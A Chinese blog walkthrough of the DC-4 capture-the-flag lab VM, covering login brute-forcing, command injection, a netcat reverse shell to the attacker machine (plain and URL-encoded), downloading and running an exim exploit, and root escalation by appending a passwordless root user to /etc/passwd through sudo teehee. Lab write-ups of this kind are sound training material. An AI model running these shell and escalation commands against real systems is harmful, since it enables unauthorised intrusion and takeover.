当前位置:网站首页>DC-4靶场搭建及渗透实战详细过程(DC靶场系列)
DC-4靶场搭建及渗透实战详细过程(DC靶场系列)
2022-08-03 03:36:00 【金 帛】
目录
DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip
搭建过程和DC-1一样,将kali跟DC-4放同一网段即可
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
nmap -sS -p- 192.168.120.138
3. 目录扫描
dirsearch -u 192.168.120.138 -e *
没发现啥有用的
4. 页面信息探测
除了一个登入框,啥也检测不出来,尝试爆破登入
二. 渗透过程
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
将抓到的请求报文发送到攻击器
这里就只爆破密码,猜用户名是admin
加载网上top1000的弱口令密码,然后点击开始攻击
查看回显报文最长的包,得到密码happy,用该密码登入后继续点击submit
来到了命令执行的界面
2. 任意命令执行
burpsuite抓包,点击run,右键发到重放器
可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果
3. 反弹shell
通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解
在kali上监听8080端口
nc -lvvp 8080
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.120.129 8080
先将其URL编码
然后构造payload,POST传参
radio=%6e%63%20%2d%65%20%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%31%32%30%2e%31%32%39%20%38%30%38%30&submit=Run
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
4. Linux提权(假)
(错误示范)前面打DC靶场学到的提权方式在这都不管用了,在搜索suid权限的二进制文件时,发现有exim命令,exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
find / -perm -4000 -print 2>/dev/null
先看一下exim4的版本
exim4 --version
确定版本,接着找查提权漏洞,另开一个终端
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
将文件拷贝到桌面,并在桌面开启一个http服务
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/桌面/hack.sh
python3 -m http.server 8888
接着回到反弹shell那边,下载hack.sh
wget http://192.168.120.129:8888/hack.sh
居然没有权限写入,那就cd去tmp目录吧,tmp目录所有用户都可以操作
下载完成后赋予该文件全部可执行的权限
chmod 777 hack.sh
然后执行该文件
./hack.sh
提权成功了一半!??
好像忙活错了
4. Linux提权(真)
看别人wp,得从其他地方找突破口提权了,参考Linux的home目录
看一下该主机的普通用户,能不能尝试登进去寻找其他突破口
可以看到有三个普通用户,测试发现,只有jim用户才有权限查看,来到/home/jim/backups目录下
打开该文件,有一堆密码在(根据文件名提示,应该是之前用过的老密码)
将这些密码复制,然后放着一个文件里,用超级弱口令检查工具爆破
接着ssh远程登入一下,jim:jibril04
ssh [email protected]
接着尝试打开刚才反弹shell打开不了的文件mbox
说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail
蛮有意思的哈,今天放假,老板让我把密码给你
用该账号密码登入ssh,charles:^xHhA&hvim0y
还不是root用户,跟git提权一样
sudo -l
发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #建议手打命令,复制粘贴可能不管用
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test
提权成功
5. 查找flag
find / -name *flag.*
芜湖,通关
三. 收获总结
1. netcat反弹shell命令
nc -e /bin/bash [监听的IP] [监听的PORT]
2. teehee提权
原理就是通过修改passwd文件,添加一个无密码root权限的用户
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
边栏推荐
- 金仓数据库 Pro*C 迁移指南( 4. KingbaseES 的 Pro*C 迁移指南)
- HI3521D 烧录128M nand flash文件系统过程-一定要注意flash的容量
- ClickHouse delete table
- 数据库性能系列之索引(中)
- 视频中场的概念(1080I和1080P)和BT601/656/709/1120/2020/2077
- 浅谈用KUSTO查询语言(KQL)在Azure Synapse Analytics(Azure SQL DW)审计某DB账号的操作记录
- DOM破环和两个实验的复现
- 瑞鹄转债上市价格预测
- Pro * C Jin Cang database migration guide (4) KingbaseES Pro * C migration guide)
- PSSecurityException
猜你喜欢
随机推荐
让环境自己说话,论环境自描述的重要性
找不到符号@SuperBuilder,你以为真的是Lombok的问题?
ORACLE中文乱码
js的组成及js样式
电子设备行业智能供应链系统:打破传统供应链壁垒,提升电子设备企业管理效能
(2022牛客多校五)H-Cutting Papers(签到)
【leetcode热题Hot100】——任务调度器
高等代数_证明_不同特征值的特征向量线性无关
Guys, I don't understand a bit: why the documentation of oracle-cdc writes that the connector can be done exactly-o
els 结束判断
SkiaSharp 之 WPF 自绘 五环弹动球(案例版)
ROS2自学笔记:机器视觉基础
问下有用sql server flink-sql-connector-sqlserver-cdc-2
js Fetch返回数据res.json()报错问题
肖sir___面试就业课程____app
Nacos入门学习
PyTorch安装——安装PyTorch前在conda搭建虚拟环境的报错
用 SQL 做数据分析的十大常用功能,附面试原题解答!!
Redis-Redisson介绍和用途
vant-field中colon属性为true报错